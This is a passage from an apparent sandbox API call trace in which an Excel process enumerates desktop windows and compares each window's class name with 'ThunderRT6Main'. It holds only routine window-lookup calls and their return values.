nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.918] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.918] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0103.918] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0103.918] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0103.918] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0103.918] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0103.918] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0103.918] GetClassNameA (in: hWnd=0x20108, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.918] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.918] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0103.918] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0103.918] GetClassNameA (in: hWnd=0x10106, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.918] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.918] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0103.918] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0103.918] GetClassNameA (in: hWnd=0x10102, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.918] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.918] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.918] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0103.918] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.918] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.918] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0103.918] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0103.919] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0103.919] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0103.919] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.919] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0103.919] GetClassNameA (in: hWnd=0x10084, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.919] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.919] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0103.919] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0103.919] GetClassNameA (in: hWnd=0x10082, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.919] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.919] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.919] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0103.919] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0103.919] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0103.919] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0103.919] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0103.919] GetClassNameA (in: hWnd=0x10080, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.919] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.919] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0103.919] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0103.919] GetClassNameA (in: hWnd=0x10076, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.919] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.919] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.919] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0103.919] GetClassNameA (in: hWnd=0x10064, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.919] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.919] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.919] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0103.919] GetClassNameA (in: hWnd=0x10110, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="#43") returned 3 [0103.919] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0103.919] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0103.919] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0103.919] GetClassNameA (in: hWnd=0x10112, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.919] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.919] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0103.919] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0103.920] GetClassNameA (in: hWnd=0x10060, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0103.920] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0103.920] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.920] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0103.920] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0103.920] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0103.920] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.920] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0103.920] GetClassNameA (in: hWnd=0x10042, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0103.920] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0103.920] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.920] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0103.920] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0103.920] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0103.920] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.920] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0103.920] GetClassNameA (in: hWnd=0x10048, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0103.920] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0103.920] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0103.920] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0103.920] GetClassNameA (in: hWnd=0x10040, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.920] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.920] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.920] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0103.920] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0103.920] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0103.920] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.920] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0103.920] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.920] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.920] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0103.920] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0103.920] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0103.920] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0103.920] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0103.921] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0103.921] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0103.921] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0103.921] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.921] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0103.921] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6f8d8c0 [0103.921] IMalloc:Free (This=0x7feffc15380, pv=0x6f8d8c0) [0104.383] GetAsyncKeyState (vKey=27) returned 0 [0104.383] GetCurrentThreadId () returned 0x8fc [0104.383] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0104.383] GetDesktopWindow () returned 0x10010 [0104.383] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10070 [0104.383] GetClassNameA (in: hWnd=0x10070, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.383] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.383] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.383] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10140 [0104.383] GetClassNameA (in: hWnd=0x10140, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0104.383] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0104.383] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0104.383] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0104.383] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.383] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.383] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0104.383] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0104.383] GetClassNameA (in: hWnd=0x10138, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0104.383] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0104.383] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0104.383] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0104.383] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.383] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.383] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.383] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0104.383] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.384] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.384] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.384] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0104.384] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.384] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.384] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.384] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0104.384] GetClassNameA (in: hWnd=0x10072, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.384] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.384] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.384] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x1005c [0104.384] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.384] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.384] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.384] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0104.384] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.384] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.384] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.384] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0104.384] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.384] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.384] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.384] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0104.384] GetClassNameA (in: hWnd=0x10078, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.384] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.384] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.384] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0104.384] GetClassNameA (in: hWnd=0x10074, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.384] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.384] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.384] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0104.384] GetClassNameA (in: hWnd=0x10052, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0104.385] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0104.385] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.385] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0104.385] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.385] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.385] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.385] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0104.385] GetClassNameA (in: hWnd=0x10054, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Button") returned 6 [0104.385] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0104.385] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.385] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0104.385] GetClassNameA (in: hWnd=0x10050, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0104.385] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0104.385] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.385] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0104.385] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.385] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.385] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0104.385] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0104.385] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.385] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.385] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.385] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0104.385] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0104.385] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0104.385] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.385] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0104.385] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0104.385] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0104.385] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.385] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x1021a [0104.385] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0104.386] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0104.386] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.386] GetWindowLongA (hWnd=0x1021a, nIndex=-16) returned -1946157056 [0104.386] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0104.386] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0104.386] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x2019c [0104.386] GetClassNameA (in: hWnd=0x2019c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.386] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.386] GetWindowThreadProcessId (in: hWnd=0x2019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.386] GetWindowLongA (hWnd=0x2019c, nIndex=-16) returned -1946157056 [0104.386] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0104.386] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0104.386] GetWindow (hWnd=0x2019c, uCmd=0x2) returned 0x3028c [0104.386] GetClassNameA (in: hWnd=0x3028c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="#32770") returned 6 [0104.386] lstrcmpA (lpString1="#32770", lpString2="ThunderRT6Main") returned -1 [0104.386] GetWindowThreadProcessId (in: hWnd=0x3028c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.386] GetWindowLongA (hWnd=0x3028c, nIndex=-16) returned -1798831675 [0104.386] GetWindowLongPtrA (hWnd=0x3028c, nIndex=-6) returned 0x7feef2c0000 [0104.386] GetWindowLongPtrA (hWnd=0x3028c, nIndex=-6) returned 0x7feef2c0000 [0104.386] GetWindow (hWnd=0x3028c, uCmd=0x2) returned 0x202ca [0104.386] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0104.386] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0104.386] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.386] GetWindowLongA (hWnd=0x202ca, nIndex=-16) returned 516882432 [0104.386] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0104.386] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0104.386] GetWindow (hWnd=0x202ca, uCmd=0x2) returned 0x20266 [0104.386] GetClassNameA (in: hWnd=0x20266, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0104.386] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0104.386] GetWindowThreadProcessId (in: hWnd=0x20266, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.386] GetWindowLongA (hWnd=0x20266, nIndex=-16) returned -1778384896 [0104.386] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0104.386] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0104.386] GetWindow (hWnd=0x20266, uCmd=0x2) returned 0x20268 [0104.386] GetClassNameA (in: hWnd=0x20268, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0104.386] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0104.386] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.387] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896 [0104.387] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0104.387] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0104.387] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a [0104.387] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0104.387] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0104.387] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.387] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896 [0104.387] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0104.387] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0104.387] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x600d0 [0104.387] GetClassNameA (in: hWnd=0x600d0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0104.387] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0104.387] GetWindowThreadProcessId (in: hWnd=0x600d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.387] GetWindowLongA (hWnd=0x600d0, nIndex=-16) returned -1778384896 [0104.387] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0104.387] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0104.387] GetWindow (hWnd=0x600d0, uCmd=0x2) returned 0x101d4 [0104.387] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0104.387] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0104.387] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.387] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 516882432 [0104.387] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0104.387] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0104.387] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101fe [0104.387] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0104.387] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0104.387] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.387] GetWindowLongA (hWnd=0x101fe, nIndex=-16) returned -1778384896 [0104.387] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0104.387] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0104.387] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x10200 [0104.387] GetClassNameA (in: hWnd=0x10200, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0104.387] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0104.388] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.388] GetWindowLongA (hWnd=0x10200, nIndex=-16) returned -1778384896 [0104.388] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0104.388] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0104.388] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0104.388] GetClassNameA (in: hWnd=0x10202, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0104.388] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0104.388] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.388] GetWindowLongA (hWnd=0x10202, nIndex=-16) returned -1778384896 [0104.388] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0104.388] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0104.388] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x10204 